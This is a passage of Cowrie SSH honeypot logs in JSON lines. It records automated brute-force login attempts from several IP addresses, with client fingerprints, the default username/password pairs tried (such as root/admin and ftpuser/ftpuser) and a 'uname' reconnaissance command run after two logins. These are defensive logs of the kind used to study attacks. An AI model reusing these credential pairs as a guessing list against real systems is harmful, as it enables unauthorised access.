,"hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:05.601445Z","src_ip":"43.163.119.215","session":"e6188c93a012","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:06.317567Z","src_ip":"43.163.119.215","session":"e6188c93a012","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:06.842251Z","src_ip":"43.163.119.215","session":"e6188c93a012","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:06.846240Z","src_ip":"43.163.119.215","session":"e6188c93a012","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:07.087934Z","src_ip":"43.163.119.215","session":"e6188c93a012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:07.092233Z","src_ip":"43.163.119.215","session":"e6188c93a012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.121.31.17","src_port":57574,"dst_ip":"10.17.0.5","dst_port":22,"session":"f99b93adfad1","protocol":"ssh","message":"New connection: 124.121.31.17:57574 (10.17.0.5:22) [session: f99b93adfad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:16.730577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:16.735039Z","src_ip":"124.121.31.17","session":"f99b93adfad1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:17.001864Z","src_ip":"124.121.31.17","session":"f99b93adfad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:17.203119Z","src_ip":"124.121.31.17","session":"f99b93adfad1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":59274,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b842e6ba0c3","protocol":"ssh","message":"New connection: 43.163.119.215:59274 (10.17.0.5:22) [session: 2b842e6ba0c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:25.910392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:25.919590Z","src_ip":"43.163.119.215","session":"2b842e6ba0c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:26.165693Z","src_ip":"43.163.119.215","session":"2b842e6ba0c3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:26.953233Z","src_ip":"43.163.119.215","session":"2b842e6ba0c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:27.474609Z","src_ip":"43.163.119.215","session":"2b842e6ba0c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:27.477647Z","src_ip":"43.163.119.215","session":"2b842e6ba0c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:27.725465Z","src_ip":"43.163.119.215","session":"2b842e6ba0c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:27.730789Z","src_ip":"43.163.119.215","session":"2b842e6ba0c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":33416,"dst_ip":"10.17.0.5","dst_port":22,"session":"106204e2dac3","protocol":"ssh","message":"New connection: 205.209.121.72:33416 (10.17.0.5:22) [session: 106204e2dac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:34.037028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:34.040927Z","src_ip":"205.209.121.72","session":"106204e2dac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:34.046696Z","src_ip":"205.209.121.72","session":"106204e2dac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"udp","message":"login attempt [root/udp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:34.097821Z","src_ip":"205.209.121.72","session":"106204e2dac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":37936,"dst_ip":"10.17.0.5","dst_port":22,"session":"824cc58858a8","protocol":"ssh","message":"New connection: 43.163.119.215:37936 (10.17.0.5:22) [session: 824cc58858a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:34.478986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:34.483282Z","src_ip":"43.163.119.215","session":"824cc58858a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:34.723687Z","src_ip":"43.163.119.215","session":"824cc58858a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:35.105670Z","src_ip":"205.209.121.72","session":"106204e2dac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:35.437706Z","src_ip":"43.163.119.215","session":"824cc58858a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:36.677890Z","src_ip":"43.163.119.215","session":"824cc58858a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":53136,"dst_ip":"10.17.0.5","dst_port":22,"session":"75b71ed91c7c","protocol":"ssh","message":"New connection: 43.163.119.215:53136 (10.17.0.5:22) [session: 75b71ed91c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:38.221270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:38.225948Z","src_ip":"43.163.119.215","session":"75b71ed91c7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:38.463659Z","src_ip":"43.163.119.215","session":"75b71ed91c7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:39.175273Z","src_ip":"43.163.119.215","session":"75b71ed91c7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:40.415659Z","src_ip":"43.163.119.215","session":"75b71ed91c7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":59336,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5c2771a5e8e","protocol":"ssh","message":"New connection: 67.102.183.113:59336 (10.17.0.5:22) [session: c5c2771a5e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:45.021879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:45.027780Z","src_ip":"67.102.183.113","session":"c5c2771a5e8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:45.099885Z","src_ip":"67.102.183.113","session":"c5c2771a5e8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":53138,"dst_ip":"10.17.0.5","dst_port":22,"session":"bda975df114f","protocol":"ssh","message":"New connection: 43.163.119.215:53138 (10.17.0.5:22) [session: bda975df114f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:45.173547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:45.178607Z","src_ip":"43.163.119.215","session":"bda975df114f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:45.413942Z","src_ip":"67.102.183.113","session":"c5c2771a5e8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:45.419178Z","src_ip":"43.163.119.215","session":"bda975df114f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:46.133008Z","src_ip":"43.163.119.215","session":"bda975df114f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:46.487531Z","src_ip":"67.102.183.113","session":"c5c2771a5e8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:47.373091Z","src_ip":"43.163.119.215","session":"bda975df114f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":36954,"dst_ip":"10.17.0.5","dst_port":22,"session":"d21c9ed632ce","protocol":"ssh","message":"New connection: 43.163.119.215:36954 (10.17.0.5:22) [session: d21c9ed632ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:51.693422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:51.697674Z","src_ip":"43.163.119.215","session":"d21c9ed632ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS"